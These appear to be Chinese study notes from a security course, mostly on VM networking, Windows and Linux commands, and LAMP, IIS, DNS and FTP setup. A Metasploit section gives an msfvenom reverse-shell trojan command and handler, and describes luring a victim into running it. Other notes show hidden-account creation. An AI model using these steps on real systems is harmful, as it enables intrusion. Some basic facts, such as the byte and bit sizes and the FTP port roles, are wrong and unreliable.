笔记,后期整理

2023-11-15

VM 虚拟各种系统的工具

安装目录 不要放在C盘

需要下载的镜像
Windows NT
win7 xp server08R2 server12
类Nnix
centos 6/7/8
ubuntu 14/16/18
kali
安装
win7


1g=1024M
1M=1024KB
1KB=1024bit
1bit 是一个字节
一个字节就是8位由0或者1组成(二进制)

10 进制
0-9组成的数字

8进制 0-7组成的数字
16进制 0-9ABCDEF 组成的数字

十六进制 十进制
0X 0 = 0*16^0
0X 1 =1*16^0
0X12 =1*16^1+2*16^0=18
0x1234 =1*16^3+2*16^2+3*16^1+4*16^0


二进制 十进制

0110 0*2^3+1*2^2+1*2^1+0*2^0=6

0011

八进制 十进制

045 0*8^2+4*8^1+5*8^0 =37

进制之间的转换(计算机组成原理)


端口:端口即服务,服务即端口
http 80 开启80端口,表示当前服务器中正在运行web服务

http+ssl 443
文件共享 445


命令行工具 cmder
编辑器 sublime/notepad++/vscode
做笔记 typora 有道云笔记 印象笔记 onenote word

系统
NT(微软)
个人版操作系统
xp win7 win8 win10
服务器版操作系统
03 /server08 R2 /server12 /server14 /server 16
类Unux
redhat系统
redhat ubuntu kali debian
centos系列
centos
三种网络模式:
NAT(网络地址转换)vmnet8
VM会启用VM DHCP服务,会给我们选择NAT模式的机器分配IP。
分配的IP地址范围:编辑-->虚拟网络编辑器-->选中NAT模式-->(先修改子网IP和子网掩码)DHCP设置-->在里面设置IP地址池
DHCP 动态地址分配协议 用户端PC可以自动获取IP

客户端PC会自动获取IP,可以连接到外网,可以ping通宿主机(宿主机上会多出来两个网卡:NAT和仅主机,NAT模式网卡上的IP和DNCP中设置的地址池是同一网段)

本地IP 192.168.11.165 192.168.10.1

 

桥接 vmnet0
桥接模式的PC和宿主机是平等,会自动获取宿主机所在网络的IP,能ping通宿主机和外网

 

仅主机 vmnet1

虚拟机选择仅主机模式后会自动获取IP,该IP在虚拟网络编辑器中可以设置,无法连接外网,选择仅主机模式的虚拟机之间能够相互ping通,这样的虚拟机只能ping通宿主机的VMnet1这个网卡

含有两个网卡的机器 称为双宿主主机
************************************************************************
系统基本命令

windows
windows键+R-->运行-->cmd/cmder
摁住shift键 右击鼠标 选择“在此处打开命令窗口”
cls清屏
正斜杠“/”与反斜杠”\”
网络连通性ping -t ip

本地地址操作 ipconfig /all /release /renew
查看本地开启的端口:netstat -ano(可根据端口找到相对的PID)
pid 进程ID号,表示在系统内存中的一个运行程序的编号
快速找到结果:findstr
netstat -ano |findstr "3389"

IP:表示网络节点(设备)在整个网络中的位置,使用点分十进制表示
127.X.X.X
192.168.1.0 192.168.1.9 192.168.2.9
ping 127.0.0.1 ping本地回环地址
netstat -ano |findstr "关键词"
| 作用是:在前面命令执行得到的结果之上去执行后面的命令
eg:netstat -ano |findstr "3306" 找到3306端口对应的记录
ping 192.168.11.1 -t
ping 127.0.0.1 |ipconfig
查看本机任务列表:tasklist

获取系统详细信息:systeminfo

系统环境变量:path
set
配置环境变量:
win7 :计算机-->属性-->高级系统设置-->高级-->环境变量--->系统变量-->path(变量值最后加; 然后将程序对应的路径复制过来即可)

win10:计算机-->属性-->高级系统设置-->高级-->环境变量-->系统变量-->path(在最后的空白行中直接输入程序的安装路径)

列举目录:dir
以点开头的文件默认情况下是隐藏文件,
. 表示当前目录 cd ./
.. 表示上一级目录 cd ../

切换目录 cd
创建目录:mkdir test
创建文件并往文件中写数据: echo 123 > test.txt
> 重定向符号
读文件 type test.txt

windows用户管理*******

查看系统用户:net user
查看具体某个用户信息: net user username

添加用户:net user username password /add
(注意:默认添加的用户隶属于users组)
users组是权限比较低的普通用户组
修改密码:net user usernmae password
删除用户:net user username /del

切换用户:


产看本地组:net localgroup
关注 administrators /users/Remote Desktop Users
创建组:net localgroup group_name /add
往管理组中添加用户:net localgroup administrators username /add

注意:添加删除用户或者往管理组中添加删除用户都需要管理员权限

查看当前用户是谁:whoami
查看当前计算机名:hostname

创建隐藏用户:
net user admin$ 123.coom /add

路径:
相对路径:相对某个文件或者文件夹的路劲 ./ ../
绝对路径: 从根目录写起的路径

终端:命令解析器,终端接收用户输入的命令,然后把命令传输给系统内核,系统处理该命令,并返回结果,终端接收该结果并显示


ls 列目录
sudo 以管理员运行命令
su 切换用户
如果su后什么也没写 表示切换到root 需要输入其密码

reboot 重启

sudo reboot

 


在linux中安装VM tools

step 1:虚拟机选择安装 Vmware tools ,在DVD中将.tar.gz的文件包拖到桌面中;

~ /home/pentest/de

 

step 2:打开终端,切换到桌面,cd /home/whoami/桌面
cd /home/username/desktop/
ls 查看这个.tar.gz文件
注意:这是压缩包文件,需要先解压
tar -zxvf vmwaretools.tar.gz
最后会多出来一个文件夹,这个文件夹就是vmwaretools.tar.gz解压缩出来的
step 3:进入到这个文件夹,cd vmware-tools-distrib,ls查看里面的文件
注意:绿色的文件是可执行文件
sudo ./vmware-install.pl ,输入密码,有提示直接回车就行
sudo 以管理员的权限运行后面的程序

打开多个终端:ctrl+shift+t
alt+数字 切换到某个终端中

ls -l 以详细信息列出目录
ls -al 显示所有文件的详细信息
ls -dl 查看目录信息
pwd 查看当前工作的目录

drwxr-xr-x 2 root root 4096 Jul 12 2018 XXEinjector-master
权限 文件硬链接数或目录子目录数 所有者 所属组 大小 名字

root @localhost: ~ #
当前用户 本机 家目录(/root) 管理员

pentest @localhost: ~(/home/pentest) $
普通用户

家目录:用户默认工作的地方,用于存在自身文件的位置
cd
cd ~
cd /home/pentest
cd /root


/ linux的根目录

查看当用用户:whoami

查看IP:ifconfig
查看网卡:ip addr
ifconfig ens33 192.168.11.90 255.255.255.0 临时配置IP的方式

 


创建文件夹:mkdir

 

 

创建文件 touch test(后缀名可以先不写)
echo 123 >test 将123写入test文件
重定向符号


查看文件内容: cat test

复制: cp 源文件位置 目标路径
移动: mv 源文件 目标路径
改名字:mv 原文件名 目标文件名
删文件: rm 文件名
rm -r 文件夹
rm -f 文件名
rm -rf 文件夹
一点一点地读文件 : more 文件(显示百分比) q键退出
head 文件 默认读取前10行
head -n 6 文件 读取前6行

tail 文件 默认读取后10行
tail -n 6 文件 读取后6行


updatedb 更新文件位置数据库
locate 文件名

firefox
python
java
xshell /cmder

linux 网络设置
网卡配置文件所在的位置:/etc/sysconfig/network-scripts/
ls 会看到以ifcfg开头的文件
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TYPE="Ethernet" 网卡类型
BOOTPROTO="dhcp" 网卡获取IP的形式,ip配置方式(NONE/DHCP/STATIC)
DEFROUTE="yes"
PEERDNS="yes"
PEERROUTES="yes"
IPV4_FAILURE_FATAL="no"

IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_PEERDNS="yes"
IPV6_PEERROUTES="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"

NAME="ens33" 网卡名称
UUID="ae04ed91-a630-435e-b327-583632895fa0" 通用唯一标识码
DEVICE="ens33" 网卡名称
ONBOOT="yes" 开机加载网卡配置文件
ZONE=public
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^


TYPE="Ethernet" 网卡类型
BOOTPROTO="static" 网卡获取IP的形式,ip配置方式(NONE/DHCP/STATIC)
DEFROUTE="yes"
PEERDNS="yes"
PEERROUTES="yes"
IPV4_FAILURE_FATAL="no"

IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_PEERDNS="yes"
IPV6_PEERROUTES="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"

NAME="ens33" 网卡名称
UUID="ae04ed91-a630-435e-b327-583632895fa0" 通用唯一标识码
DEVICE="ens33" 网卡名称
ONBOOT="yes" 开机加载网卡配置文件
ZONE=public
IPADDR=192.168.10.99 配置的IP
NETMASK=255.255.255.0 子网掩码
GATEWAY=192.168.10.1 网关
DNS1=114.114.114.114 首选DNS
DNS2=8.8.8.8
DNS3=5.5.5.5

切换系统模式:
init 数字
0:关机
1:单用户模式
2:无网络支持的多用户模式
3:有网络支持的多用户模式
4:保留,未使用
5:有网络支持有X-Window支持的多用户模式
6:重新引导系统,即重启

updatedb
locate 文件名

 

service firewalld status 查看防火墙的运行状态

service firewalld stop 关防火墙
service firewalld start 开启防火墙

systemctl status/start/stop mysqld.service

/etc/init.d/ssh status


find 路径 [-name/ -type /-size /-time(小时、分钟、秒)] 文件名( * ?)

grep 在文件中查找关键信息

cat test.txt |grep 1 在文件test.txt中查找1
==grep 1 test.txt


linux中所有的设备都是以文件的形式存在!!!
whereis 查找命令(ping ls ifconfig 等)所在的位置和帮助文档位置

which 查找命令所在的位置

 

 

vi /vim
vim 文件名
VIM工作模式:
命令模式:打开一个文件就是命令,输入:q 是退出 输入 :wq 是保存退出 :w 保存

输入模式:可以写入数据的模式,这种模式的进入方法:i(在光标的位置输入) a(光标后一位输入) o(另起一行输入) I A O,退出来摁 ESC 键

底部命令模式(末行模式):通过底部命令去控制文档。需要在命令模式下输入:即可进入该模式
set nu 设置行号
set nonu 取消行号

在vim编辑器中找数据
需要在命令模式中进行
/key_word 在光标之后找第一次出现的关键词
按住n键会寻找下一个关键词

:%s/key1/key2 所有的文档每行第一次出现的key1替换成key2
:%s/key1/key2/g 所有的key1替换成key2
:s/key1/key2 将当前行第一次出现的key1替换成key2
:s/key1/key2/g 将当前行中所有的key1替换成key2

x 删除光标后面的一个字符
X 删除光标前面的一个字符
dd 删除光标所在行
ndd 删除光标后n行
yy 复制光标所在行
p 将复制的数据粘贴到光标的下一行
P 将复制的数据粘贴到光标的上一行
u 撤销上一个动作


权限

drwxr-xr-x 3 root root 4096 Feb 15 14:29 tomcat_pentest
lrwxrwxrwx 1 root root 35 Nov 28 20:30 top1000_passwords.txt -> /root/Desktop/top1000_passwords.txt
drwxr-xr-x 2 root root 4096 Dec 27 02:30 Videos
drwxr-xr-x 5 root root 4096 Sep 14 10:44 weakfilescan
-rw-r--r-- 1 root root 195543181 Oct 29 2017 WebBug.zip
- rw- r-- r-- 1 root root 1216 Feb 15 14:28 webshell.war
644
drwxr-xr-x 5 tu1 tu1 4096 Nov 27 2011 xsser-public
755

d rwx r-x r-x 2 root root 4096 Jul 12 2018 XXEinjector-master
755
第一列中共有10位
第1位表示文件类型:
d 这是目录
l 链接文件
- 二进制文件(文本文件)

第2-4位表示当前文件所有者的权限 r(读)4 w(写)2 x(执行)1
第5-7位表示当前文件所有组的权限 r-x
第8-10位表示其他人对该文件的权限 r-x

- 表示对应位没有权限
3 4 1
-wx r-- --x


756
rwx r-x r-w

权限对于文件和文件夹的意义

对于文件的意义 对文件夹的意义

r 读 可以查看文件内容 可以列目录


w 写 可以修改文件 可以在目录中创建和删除文件

 

x 执行 可以执行文件 可以进入文件夹

更改权限的命令

test 751 rwxr-x--x

chmod +777 test

chmod -551 test

推荐使用数字的方式修改文件或者文件夹的权限

 

更改所有者
chown 所有者 文件/文件夹
更改所属组
chgrp 所属组 文件/文件夹

 

 

 


***********************************
tar

sudo tar -zxvf msyql.tar.gz
-z 针对的压缩包格式是zip /gz
-x 解压缩
-v 显示解压缩过程
-f 指定文件

tar -cvf file.tar f1 f2 f3 打包
-c 打包

**********************************
zip

unzip file.zip 解压缩

zip test.zip f1 f2 f3 压缩文件

********************************
.tar.gz

tar -zxvf test.tar.gz 解包解压缩
创建 tar -zcvf demo.tar.gz f1 f2 f3


ln 源文件 目标位置 创建硬链接文件,他们的ID是一样的,相当于对源文件进行拷贝

ln -s 源文件 目标文件 创建软链接文件,操作链接文件相当于操作源文件

LAMP
phpmyadmin /usr/share/phpmyadmin

/var/www/html/

ln -s /user/share/phpmyadmin/ /var/www/html/

 


linux下的用户管理

用户信息存在 /etc/passwd
真正的用户:可以修改密码、可以登录
伪用户:一些程序在启动过程中需要以某种权限来运行,使用程序名存储在passwd文件中

huxi(用户名):x(密码位):1000(用户UID):1000(用户组GID):HUXI(描述):/home/huxi(家目录):/bin/bash(默认使用的解析器)

如果把最后一部分改为:/sbin/nologin ,那么用户就不能登录

test:x:10001:10001::/home/test:/bin/bash

 

用户密码存贮在 /etc/shadow

huxi(用户名):$6$a/2c.gZnMoRaimdi$K8diROJJcz8AtueBhj68FPHtyPz96xzR.Xkn5V5fHCX3E50d6Sh8d3Biqg6Y2EmrAzAXRU5TMtdfo0I/mToTy/(密码):17841(最后修改密码的时间):0(修改密码最短有效时间):99999(最长时间):7:::
从第三部分之后的都是密码策略

加用户:
useradd [选项] 用户名
加密码:
passwd 用户名
删用户:
userdel


默认添加的用户会自动加入和用户名一样的组中
demo1 demo1
root root
test1 test1

groups 查看当前用户属于哪个组
groupadd 组名 添加组
groupdel 组名 删除组

demo_group

gpasswd -a test1 demo_group 向demo_group中添加用户test1
cat /etc/group 可以查看当前组中有哪些用户
demo_group:x:1004:test1,test2,test123(在demo_group中有三用户)

 

gpasswd -d test1 demo_group 向demo_group中删除用户test1

 


id查看当前用户和所属组的ID


useradd -u 5001 -g demo_group -G root -d /home/test2 -s /bin/zsh test2 添加用户
-u 指定uid
-g 指定用户所属组
-d 宿主目录(家目录)缺省目录
-s 指定解析器
-G 指定用户所属多个组
-o 和-u 同时使用,用于创建和其他用户ID一样的用户


usermod -l/-d/-g/-s 用户名
-l 修改用户名 usermod -l pentest yongxin
-d 修改目录 usermod -d /home/test demo
-g 修改所属组 usermod -g demo_group demo
-s 修改解析器 usermod -s /bin/zsh pentest

禁用用户 usermod -L 用户名
恢复用户 usermod -U 用户名

 


网络基础(七层网络模型、网络设备)


软件包管理

在linux安装一些软件(ssh/mysql/apache等),需要使用某个管理平台YUM(推荐,自动帮组我们解决依赖关系,节约时间)、RPM(需要安装各种依赖关系)、源码安装(需要下载源码、解压、编译、安装)

RPM安装

rpm -qa 查看所有安装软件
-q 查询
-a 所有的

 

首先需要下载相对应版本的软件

rpm -hiv 文件名
-h 详细信息
-i 安装
-v 安装进度

rpm -e 文件名 卸载


ssh 远程连接服务,默认使用22端口
netstat -ant |grep 22

 

 

rpm -qa |grep ssh


yum remove 软件名 卸载软件


YUM安装(需要保证虚拟机联网)
保证linux系统中yum源是新的(更新yum源)

yum install 软件名 -y 安装软件
sudo yum install ssh -y

yum list redis


ubuntu/kali的软件包管理

apt-get install 软件名 安装
apt-get remove 软件名 卸载
apt-get update 更新
apt-get upgrade 升级

 

 

yum安装redis
redis 非关系型数据库,默认启用的端口是6379,以key-value形式保存数据
sudo yum list redis

sudo yum install redis 安装redis

使用Fedora的仓库
yum install epel-release
然后安装redis

 

源码安装redis
step 1:下载redis的源码,然后解压缩 tar -zxvf redis.tar.gz
step 2:cd 切换进入该文件夹,
step 3:./configure --prefix=/usr/local/redis[可选]
step 4 :make 编译
step 5 :make install 安装软件

redis-->src--->redis-server(可执行)
./redis-server


linux内存管理

ps -u/ -l查看隶属于当前用户的进程信息
PID 进程ID号

ps -aux 所有用户的进程信息

ps -aux |grep apache 查看apache的进程

ps -le |grep redis 查看指定进程的信息

kill关闭某个进程
kill PID
-9 强制
-1 重启进程
xkill 关闭图形程序
killall 关闭所有程序

netstat -ano windows(端口)
netstat -ntulp linux (端口、PID、名称)

 


Phpstudy(安装在Win下的web服务软件,集成PHP/mysql/Apache三种服务)WAMP环境
LAMP环境(在linux中安装apache/mysql/php)***第一周周末作业(ubuntu16)
(作业要求:使用word写,有图有说明)

http 超文本传输协议 80
修改端口:其他选项菜单---phpstudy设置-->端口常规设置----在httpd端口 修改端口(保证你的端口不冲突) 修改完成之后 确定

使用浏览器访问(URL输入框中输入如下地址):
http://192.168.11.189:1234/
协议 IP 端口

http://127.0.0.1:1234/
协议 本机 端口

当我们在浏览器中输入http://192.168.1.1:6666 点击访问,浏览器会发出请求包,request

请求最终到达服务,服务器会处理该请求,处理完成之后会给请求的用户发送一个响应包,response

phpinfo() 这是php的一个函数,用来显示服务器中环境(铭感信息)

index.php
index.html
default.php
首页,一般情况下,我们在访问站点时不需要写首页

URL(统一资源定位符):http://192.168.11.189:80/index.php
向服务器192.168.11.189的80端口上去请求index.php页面

<?php phpinfo();?>

服务器收到请求之后,会解析该请求,把解析后的数据作为响应包

浏览器查看源代码的方式:F12 、 右击鼠标 查看源代码、view-souece:http://192.168.11.189:80/index.php


IP:点分十进制,记忆不方便,使用域名代替IP来记忆
ping 获取IP
nslookup baidu.com


域名 <---> ip
baidu.com 123.125.115.110
DNS 域名服务器

hackbar 是火狐浏览器中渗透测试插件

https://user.pentest.com/login/sign?type=0&r=https%3A%2F%2Fwww.pentest.com%2Fmain

www.test.com/index.php?type=0&demo=2&te=123

Load URL:重新加载URL
Split URL:分割参数
Execute:执行(发出请求)

拦截请求包和响应包
工具:
burpsuite(BP):渗透测试综合利用工具,使用java,在运行时需要java环境,
foxproxy:火狐代理工具

curl 主要用于网络请求
curl https://www.baidu.com

step 1:需要在火狐浏览器中设置火狐代理,127.0.0.1:8080,并启用该代理
step 2:打开BP,在foxyproxy中的options中设置监听器,设置端口和ip要和火狐代理的端口以及IP 保持一致
step 3:设置intercept is on
step 4:浏览器点击执行或者刷新页面

点击Forward 是放行当前的数据包
Drop 放弃当前拦截的数据包
Action 是将当前的数据包进行其他操作

 


使用 Repeater 功能(重放功能)拦截响应包

step 1:浏览器设置代理,127.0.0.1 8080 (打开菜单-->选项-->高级-->网络--->设置-->手动配置IP和端口,最后保存)
step 2:使用BP拦截请求包,点击action,在其下拉菜单中找到send to repeater ;
step 3:在repeater中找 go 点击 就能看到response


phpmyadmin 基于页面的数据库管理平台

 

使用phpstudy重置密码(其他选项菜单---mysql工具--重置密码--输入自己的密码保存)

G:\phpStudy\MySQL\bin 设置mysql的环境变量

在DOS命令窗口中输入 mysql --version 查看版本


mysql -uroot -p密码 进入mysql交互式窗口
mysql -uroot -p

 

安装wordpress4.7

周末作业:
安装ubuntu16,安装LAMP(mysql/php/apache)
安装DVWA

 


线上提交的作业:主题_姓名_时间.rar
平时布置的作业:找资料、安装软件、看视频······


在centos7中安装LAMP环境
更新系统
yum update -y
yum -y update
查看系统的版本:cat /etc/redhat-release(内核版本)
uname -a (发布版本)
注意:保证安装LAMP的源是可用的,更换源之后,最好yum update -y

step 1:安装 apache
yum install httpd http-devel
systemctl enable httpd/chkconfig httpd on 开启自启动

http apache nginx

防火墙(关掉)

step 2:安装PHP
yum install php -y 核心软件
yum install php-mysql -y 安装php 和mysql的关联插件
yum install -y php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl curl-devel php-bcmath 安装php常用模块

如何测试PHP?
php -v
php -r "echo phpinfo();"
进入/var/www/html/ 创建test.php 文件中写入如下的代码:
<?php phpinfo();?> 最后在浏览器中访问该页面


apache的配置文件位置:/etc/httpd/conf/httpd.conf


serverroot 在apache配置文件中表示apache存放的位置
documentroot 表示站点源码存放的位置 默认位置/var/www/html

(注意:修改完配置文件一定要重启服务)

step 3:安装mysql
yum install mariadb mariadb-server mariadb-libs mariadb-devel -y

mysql -Version
msyql默认端口3306


在终端登录mysql
mysql -uroot -p

数据库(结构化)

库-->表--->字段(id,age,name)


show databases;查看所有的数据库
use 表名; 使用某个数据库
show tables;查看当前数据库下有哪些表
select * from students;

 

 

ubuntu16 安装LAMP环境(PHP7.0)
更新源
/etc/apt/sources.list

sudo apt-get update&&upgrade

step1:安装apache2.4
apt-get install apache2 -y
apache2的配置文件:/etc/apache2/apache2.conf 服务器先关设置
/etc/apache2/sites-enabled/000-default.conf 修改端口、DocumentRoot等等


step 2:安装msyql

apt install msyql-server (安装过程需要输入root的密码)

mysql的配置文件:/etc/mysql/my.cnf


step 3:安装php
apt install php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql 安装php7和相对应的响应扩展

apt install php7.0-curl php7.0-json php7.0-cgi 支持组件

php的配置文件:/etc/php5/apache2/php.ini
php7的配置文件:/etc/php/7.0/apach2/php.ini

step 4:安装phpmyadmin
apt install phpmyadmin -y
默认安装的路劲/usr/share/phpmyadmin
documentRoot /var/www/html/
ln -s /use/share/phpmyadmin /var/www/html/


ssh 22
配置文件:/etc/ssh/sshd_config
5行 Port 2222 将之前的22修改为2222 ,重启ssh
netstat -ntulp 查看端口

禁止使用root账号去连接ssh?
打开配置文件(/etc/ssh/sshd_config)
28行 PermitRootLogin no 将yes修改为no 重启ssh

linux忘记密码

centos7忘记密码如何解决?
进入到单用户模式下去修改root密码
step 1:开机时按住向下箭头,选择第一个,按住e进入gurb界面;
step 2:在编辑模式下找ro 修改为 rw init=/sysroot/bin/sh,ctrl+x 进入单用户模式
step 3:输入的命令修改root 密码
chroot /sysroot 进入系统环境变量
LANG=EN
passwd root
修改完密码重启


ubuntu16忘记密码该如何解决?
step 1:开机长按shift 进入GURB界面 找到ubuntu 高级 这个选项 然后回车进入该选项;
step 2:找到recovery mode ,按e进入编辑模式
step 3:在该模式中找到revocery nomodeset ,将其删除,然后输入quiet splash rw init=/bin/bash
step 4:ctrl+x 进入单用户模式,输入如下命令重置密码
passwd root

 

 

Windows系统忘记密码?找安装PE的U盘,从U盘启动进入其中PE系统(老毛桃、大白菜)

**********************************************************************

winserver 安装服务
服务器管理器 去管理服务

 

IIS(互联网信息服务协议) 是Windows server类系统自带的服务,需要安装,支持解析asp/aspx的站点
ser03 IIS6.0
ser08 IIS7.0
安装过程:

step 1、进入服务器管理器,找到添加角色;
step 2、在服务器角色中勾选“Web服务器(IIS)”,然后角色服务中勾选需要的角色服务(应用程序开发);(注意:添加ASP.NET 、.NET 扩展性、CGI、ISAPI 扩展、ISAPI 筛选器,去掉 目录浏览)
step 3、打开运行Internet信息服务(IIS)管理工具,展开左侧栏到“Default Web Site”;
(注意:可以新建网站)
step 4、在功能视图中找到“ASP”图标,在ASP设置中将启动父路径设置为“Ture”.

其他搭建ASP站点的平台:
超级小旋风AspWebServer

 

IIS发布站点的方式:
基于IP(一个)
基于IP:port
基于URL(主机名)

 

DNS(域名解析协议)可以用过win ser类系统去安装,192.168.10.1 ----www.baidu.com
53端口

DNS服务端:
(1)静态IP
(2)首选DNS指向自己

DNS客户端:
(1)首选DNS指向DNS服务器

配置DNS服务器的详细过程:

step 1:打开DNS管理器,找到“正向查询区域”,新建区域(一级域名baidu.com 163.com yy.cn)
step 2:选择创建的区域,右击选择“新建主机(A记录、AAAA记录)”
名称中输入类似WWW、NEWS等父域名称
IP输入搭建有WEB服务的机器IP

step3:客户端的首选DNS指向DNS服务器,搭建站点注意细则:
绑定网站时,IP地址是自身的IP,端口可以随便修改,主机名填写是上一步产生完全合格域名FQDN(点不不要)

 


Ftp(文件传输协议),在win ser上基于IIS去搭建FTP服务器。
应用协议 20(传输命令)/21(传输数据)
明文传输数据
FTP运行在IIS平台上


非隔离账号:所有的账号访问服务的数据一致

step 1:安装IIS、注意在安装IIS的服务过程中需要选择FTP角色服务;
Step 2:打开Internet 信息服务(IIS)6.0管理器,右击“FTP”新建FTP站点,输入站点描述、本机IP地址和端口。选择不隔离用户;
Step 3:主目录路径,上传或者下载数据的位置。接着配置权限(读取和写入);
Step 4:客户端访问:ftp://ip:port
客户端访问FTP的方式:三种(windows磁盘管理器、浏览器、DOS登录)

 

隔离账号:每个账号只能访问自己家目录下内容,账户之间不能相互访问

step 1:添加账号ftp1 ftp2 ,在C:\ftp_test下创建文件夹LocalUser,在该文件夹下再创建两个文件夹,文件夹的名字和用户名一样,在各自的目录中放入测试文档。
Step 2:新建FTP服务器,选择隔离用户,路径选择C:\ftp_test
Step 3:测试,分别使用桌面和命令的方式登录


FTP终端


ls 列目录
help 帮助
mkdir 创建目录
send 攻击者电脑上的文件(绝对) 向服务器中发送文件
get 服务器中文件 下载文件

 


DHCP(动态地址分配协议) 只要我们机器的IP获取方式是自动获取,首先机器会发送dchp discover 请求包(广播),dchp服务器就会单播回复你的请求

端口67(服务端) 68(客户端)

配置静态IP

 

Windows安装MSSQL
安装过程参考百度经验


使用SQL TOOLS连接管理数据库(IP 端口 sa 密码 数据库名master)
连接成功之后,在sql命令中输入如下命令:
SELECT Name FROM Master..SysDatabases ORDER BY Name;
获取SQL Server数据库中所有的数据库名

使用VSPLATE搭建在线虚拟平
需要使用github登录,在github找到源码,将源码对应的URL复制粘贴到首页的输入框中,点击“GO”,为当前的代码虚拟出解析环境

在LABS页面中有项目列表,具体介绍如下:
target address是当前项目环境对应的连接,访问该连接即可
status 虚拟出的环境的运行状态
time left 分配平台资源的时间,一般1小时以内
operation
在线终端
开关机按钮
文件管理
删除当前的虚拟平台


内网资源映射到公网Ngrok
step 1:访问https://www.ngrok.cc/user.html 注册 登录 找到"开通隧道";
step 2:选择 香港Ngrok免费服务器 在接下来的界面中 选择隧道协议 名称 前置域名 本地端口(IP:PORT)被转发的ip和端口
step 3:在隧道管理中可以看到刚才建立的隧道,需要关注 隧道ID 本地端口 以及域名
然后去下载Ngrok客户端
step 4:下载linux客户端,./sunny clientid 隧道ID
step 5:然后等待该隧道的建立 访问域名即可


搭建简易WEB服务器
IIS apache nginx tomcat 操作稍微复杂,需要配置

PHP
php -S ip:port


python

python -m SimpleHTTPServer 8080

 

 

使用github搭建个人博客

github 全球型的代码托管平台


“#学上网”--翻墙


Metasploit (MSF)
综合利用工具,集成上千种漏洞利用方式,操作简单易上手。
Kali自带的,依赖于postgresql数据库,启用这个数据库/etc/init.d/postgresql start
msfconsole 启动MSF
利用MSF生成木马获取meterpreter反弹shell

step 1:生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.10 lport=8787 -f exe >./demo_pentest.exe
-p 选用什么payload
lhost 监听ip
lport 监听端口
-f 生成文件的类型
step 2:投放木马到目标机上
step 3:启用MSF,具体操作如下:
加载exp
use exploit/multi/handler
加载payload(要和生成木马选用的payload一致)
set payload windows/meterpreter/reverse_tcp
show options查看那些参数是需要输入的
set lhost 192.168.10.10 设置监听的IP
set lport 8787 设置监听的端口
run /exploit 运行
step 4:诱导用户点击我们的木马程序
step 5:等待用户上线,就能得到meterpreter, shell 进到被攻击者电脑的终端
step 6:添加用户 开机3389 连接桌面(rdesktop)

 


HTML+CSS+Javascript
HTML 超文本标记语言 严格的说它不是编程语言 标记语言
它有一套标记标签,双标签 <a> </a> 单标签<img />
HTML使用标签来描述网页,显示数据
<!DOCTYPE html> //html5的标识
<html> //需要将我们的标签写在其内部,文本表述网页
<head> //头部,
<title></title>//标题
<meta charset="utf-8">编码方式
charset是meta的属性
</head>
<body>//主要写一些用来显示的内容
<h1></h1>一级标题
<hr>横线
<br>换行
<p></p>段落标签
<a></a>链接标签
<img> 图片标签
<ul>无序列表
<ol>有序标签
<form>用来提交数据的
</body>
</html>
style 这是标签的样式属性
表格<table></table>


colspan 跨列
rowspan 跨行
<!-- 这是注释-->
块 在html中大部分的标签是块标签,以新行开始,块标签独处一行 p div(层)
行标签 a img

布局
<div>
CSS 层叠式样式表 作用:主要对站点中标签进行样式展示,修改这些标签展示数据的样子
引入的方式:
行内模式:<p style="color:red;background-color:#bb6666">这是段落</p>
内嵌模式:一般写在<head>中的<style>里
<style type="text/css">
div{
width: 80px;
height: 100px;
}
</style>
外链模式:用过<link>引入外部的css文件
<link rel="stylesheet" type="text/css" href="../css/demo.css">
导入外链样式表:用@import,在<head></head>中引入
<style type="text/css">
@import "*.css"
</style
上述几种引入CSS方式优先级:
行内模式>内嵌模式>外链模式

CSS语法:

由两部分组成:
选择器 {属性1:值1;属性2:值2;}


JS(Javascript)是世界上最为流行的编程语言,脚本语言应用广泛,服务器、PC、笔记本电脑、平台、手机


轻量级编程语言,插入到HTML中,
功能:
可以通过JS写HTML代码
对事件作出反应
修改HTML代码
更改样式

实现:

javascript代码必须放在<script> </script>中
可以放置在HTML页面中的<body> 中和<head>中也可以引入外部的JS代码,引入方式如下:
<script src="myScript.js"></script>

JS代码中,注意大小写(大小写铭感)
var a=1;
var A=1;

var name="123";
var name=" 123 ";

var age=30;
var age= 30;

var test="pen";
var test= "pen";

function fun3() {
var z=document.getElementById('31231\
23123');
z.style.color="yellow";
}
在操作文本字符串中,可以使用\ 进行换行

注释:/**/多行
// 单行

变量:存储信息的容量
var tmp=1;
var 变量名=变量值;
var tmp="pentest";

一条语句,多个变量
var tmp1=99,tmp2="test",tmp3=null;

var tmp;理解未定义


var parameter="sql";
var parameter;

parameter="sql"

JS的数据类型(数据类别就决定该数据在内容中存储容量的大小)
字符串、数字、布尔(0/1)、数组(array)、对象、NULL、Underfined


字符串
var str=" hello China!";
var str='hello China!';
var str="hello'+'China!"
var str='hello"+"China!';

数字
整数、小数(科学计数法)
var nu=123e10; nu=1230000000000;
var nu=123e-5 ;0.00123

布尔(true/false)

var x=true;

数组
var ar=new array();//创建数组
ar[0]="i";
ar[1]="chun";
ar[2]="qiu";


var ar=new array("1","2","3")

对象

由花括号分隔。在括号内部,对象的属性以名称和值对的形式 (name : value) 来定义。属性由逗号分隔:

var person={name:"pentest",gender:"1",tel:"12345667890"};

person.name
person["name"]

 

Underfined 表示变量不含有值
Null用来清空变量


var tel;
var tel=null;

对象:
var person={name:"pentest",address:"beijing"}
对象中除了属性还有方法
属性是与对象相关的值
方法是能够在对象上执行某些操作
var car={name:"dachong",weight:500KG,color:"white"}
car.start()
car.stop()

函数
function fun_name(parameter_name){
函数的语句体;(当前该函数要执行的代码)
}


运算符

+

*
/
%
++
--
赋值运算符
= a=3 b=2
+= a+=1 a=a+1=2
-=
*=
/=
%=

比较运算符,其返回值是布尔(ture/false)

var x=8
== 等于 x==8
=== 恒等于 x===8
!= x!=9
>
<
>=
<=

 

逻辑运行符

&& and 与 (1>0&&9>1)
|| or 或 (1<0||9>8)
! not 非 (!0) (1!=2)
if (条件) {语句体}
